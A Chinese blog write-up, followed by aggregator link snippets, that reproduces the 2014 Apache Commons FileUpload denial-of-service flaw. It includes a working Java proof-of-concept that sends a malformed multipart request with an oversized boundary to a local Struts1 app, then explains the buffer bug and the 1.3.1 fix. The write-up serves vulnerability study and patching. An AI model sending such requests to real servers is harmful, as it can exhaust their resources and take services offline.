这个漏洞是2014年2月4日被发现的, 因为该组件试用范围非常广, 所以该漏洞的影响也非常巨大。通过特制的包含畸形header的http请求,可以导致使用该组件的应用程序进入无限循环从而耗尽CPU等资源并最终崩溃。

最近因为在修补struts1的可操纵classLoader的漏洞(struts2也有该漏洞, 不在本文讨论范围), 所以我就在我建立的struts1的项目上直接做测试,怎么创建struts1的项目不在本文讨论范围之列你可以在这里下载struts1样例程序(http://download.csdn.NET/detail/sunxing007/7350433)。 只需要建立一个最简单的hello world的struts1程序即可。然后启动tomcat并部署项目。

然后用apache http component 组件写一个程序来发起一个“带特制的包含畸形header的http请求” 关键代码如下(在下载的附件中有HttpUtil.Java包含完整的代码):

  1. public static void testCommonFileUploadVelnerability() throws ClientProtocolException, IOException{
  2. CloseableHttpClient httpClient = createHttpClient();
  3. HttpPost post = new HttpPost("http://localhost:8080/Struts1/helloWorld.do");
  4. String boundary = "";
  5. for(int i=0; i<4092; i++){
  6. boundary += "a";
  7. }
  8. post.setHeader("Content-Type", "multipart/form-data; boundary=#{" + boundary + "}");
  9. post.setHeader("lf-None-Match","59e532f501ac13174dd9c488f897ee75");
  10. String body = "";
  11. for(int i=0; i<4097; i++){
  12. body +="b";
  13. }
  14. post.setEntity(new StringEntity(body));
  15. CloseableHttpResponse response = httpClient.execute(post, DEFAULT_CONTEXT);
  16. HttpEntity entity = response.getEntity();
  17. System.out.println(EntityUtils.toString(entity));
  18. System.out.println("Over!");
  19. }

运行该程序, 你会发现该程序无法返回, 打开任务管理器,会发现CPU使用率为100%; 关闭tomcat后 CPU的使用率马上降到正常水平。

该漏洞出现在fileupload 1.3和以前的版本, apache在漏洞发现之后很快发布了1.3.1版本修复了该bug。

稍微有点好奇的我,就下载了fileupload的1.3和1.3.1的源码并比较了一下, 发现问题的原因就在于, 它在解析/读取上传内容的时候,使用了一个长度为4096的buffer,它不断的读取内容到buffer并用boundary来判断是否一个附件结束。但是如果一个boundary加上CR/LF外加两个dash(-)的长度本身就超过了buffer的长度的话, 会导致解析进入死循环。所以apache在fix这个bug的时候,会判断boundary的长度是否大于buffer的长度。如果是就抛异常。如下的代码片段出现在FileUploadBase.java和MultipartStream.java中:

  1. try {
  2. multi = new MultipartStream(input, boundary, notifier);
  3. } catch (IllegalArgumentException iae) {
  4. throw new InvalidContentTypeException(
  5. format("The boundary specified in the %s header is too long", CONTENT_TYPE), iae);
  6. }
  1. public MultipartStream(InputStream input,
  2. byte[] boundary,
  3. int bufSize,
  4. ProgressNotifier pNotifier) {
  5. if (boundary == null) {
  6. throw new IllegalArgumentException("boundary may not be null");
  7. }
  8. this.input = input;
  9. this.bufSize = bufSize;
  10. this.buffer = new byte[bufSize];
  11. this.notifier = pNotifier;
  12. // We prepend CR/LF to the boundary to chop trailing CR/LF from
  13. // body-data tokens.
  14. this.boundaryLength = boundary.length + BOUNDARY_PREFIX.length;
  15. if (bufSize < this.boundaryLength + 1) {
  16. throw new IllegalArgumentException(
  17. "The buffer size specified for the MultipartStream is too small");
  18. }
  19. this.boundary = new byte[this.boundaryLength];
  20. this.keepRegion = this.boundary.length;
  21. System.arraycopy(BOUNDARY_PREFIX, 0, this.boundary, 0,
  22. BOUNDARY_PREFIX.length);
  23. System.arraycopy(boundary, 0, this.boundary, BOUNDARY_PREFIX.length,
  24. boundary.length);
  25. head = 0;
  26. tail = 0;
  27. }

有兴趣的可以下载源码并详细研究一下。

重现apache commons fileupload DOS漏洞的更多相关文章

  1. Apache Commons Fileupload 反序列化漏洞分析

    下面是k8脚本. # -*- coding: utf-8 -*- # Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3) D ...

  2. CVE-2014-0050: Exploit with Boundaries, Loops without Boundaries、Apache Commons FileUpload and Apache Tomcat DoS

    catalog . Description . Analysis . POC . Solution 1. Description MultipartStream.java in Apache Comm ...

  3. Apache Commons fileUpload实现文件上传之一

      需要两个jar包: commons-fileupload.jar Commons IO的jar包(本文使用commons-io-2.4.jar) 利用Servlet来实现文件上传. package ...

  4. 上传文件出错:org.apache.commons.fileupload.FileUploadBase$IOFileUploadException: Processing of multipart/form-data request failed. Stream ended unexpectedly

    最近做一个web项目中有上传文件的功能,已经写出并在本地和部署到服务器上测试了好几个文件上传都没问题(我用的是tomcat).后来又上传了一个700多K的文件(前边的都是不足600K的,并且这个wor ...

  5. Caused by: java.lang.ClassNotFoundException: org.apache.commons.fileupload.RequestContext

    1.错误描述 usage: java org.apache.catalina.startup.Catalina [ -config {pathname} ] [ -nonaming ] { -help ...

  6. org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException

    1.错误原因 org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't ...

  7. 上传文件代码报错,java.lang.ClassNotFoundException: org.apache.commons.fileupload.FileItemFactory

    2018-09-11 11:11:08.235 ERROR 14352 --- [nio-8080-exec-5] o.a.c.c.C.[.[.[/].[dispatcherServlet]    : ...

  8. Apache Commons FileUpload 实现文件上传

    Commons FileUpload简介 Apache Commons是一个专注于可重用Java组件开发的 Apache 项目.Apache Commons项目由三个部分组成: 1.Commons P ...

  9. Could not parse multipart servlet request; nested exception is org.apache.commons.fileupload.FileUploadBase$IOFileUploadException: Processing of multipart/form-data request failed.

    org.springframework.web.multipart.MultipartException: Could not parse multipart servlet request; nes ...

随机推荐

  1. hdu 5023 线段树延迟更新+状态压缩

    /* 线段树延迟更新+状态压缩 */ #include<stdio.h> #define N 1100000 struct node { int x,y,yanchi,sum; }a[N* ...

  2. C++ - 一个构造函数调用构造函数的问题

          今天做C++的实验,题目是写一个二维点的类,然后让一个三维点的类继承它然后扩展.题目是一般学面向对象语言的常用例子.       然后遇到一个这样的问题:之前用Java的时候写构造方法的时 ...

  3. 【Eclipse】Eclipse 快捷键

    Eclipse 快捷键 关于快捷键 Eclipse 的很多操作都提供了快捷键功能,我们可以通过键盘就能很好的控制 Eclipse 各个功能: 使用快捷键关联菜单或菜单项 使用快捷键关联对话窗口或视图或 ...

  4. 推断给定的IP地址是否是内网IP

    /** * 推断给定的IP地址是否是内网IP * * @author GaoHuanJie */ public class Test{ public boolean isInnerIP(String ...

  5. 基于FPGA的简易数字时钟

    基于FPGA的可显示数字时钟,设计思路为自底向上,包含三个子模块:时钟模块,进制转换模块.led显示模块.所用到的FPGA晶振频率为50Mhz,首先利用它得到1hz的时钟然后然后得到时钟模块.把时钟模 ...

  6. [javase学习笔记]-7.7 thiskeyword的细节与应用

    这一节我们接着上一节来继续学习thiskeyword. 我们之前在7.5节中的构造函数应注意的细节中提到过一个细节就是构造函数能够调用一般函数,但一般函数不能直接调用构造函数.可是我们没有深究构造函数 ...

  7. tomcat连接mysql的3个问题解决

    转载请标明出处: 本文出自:[ouyida3的博客] 1.BasicDataSourceFactory Caused by: java.lang.ClassNotFoundException: org ...

  8. jsp整合discuz

    转自:http://blog.sina.com.cn/s/blog_49298ed001000a99.html     最近在实验室做项目用到的一个东西,拿来介绍一下.       需求:现有行业应用 ...

  9. java四舍五入保留几位小数

    double d = 3.1415926; String result = String.format("%.2f", d); // %.2f %. 表示 小数点前任意位数 2 表 ...

  10. bzoj1008 [HNOI2008]越狱——快速幂

    题目:https://www.lydsy.com/JudgeOnline/problem.php?id=1008 (这样一道水题还因为忘记写 %lld WA了那么多遍) 发生越狱的状态数,就是全部状态 ...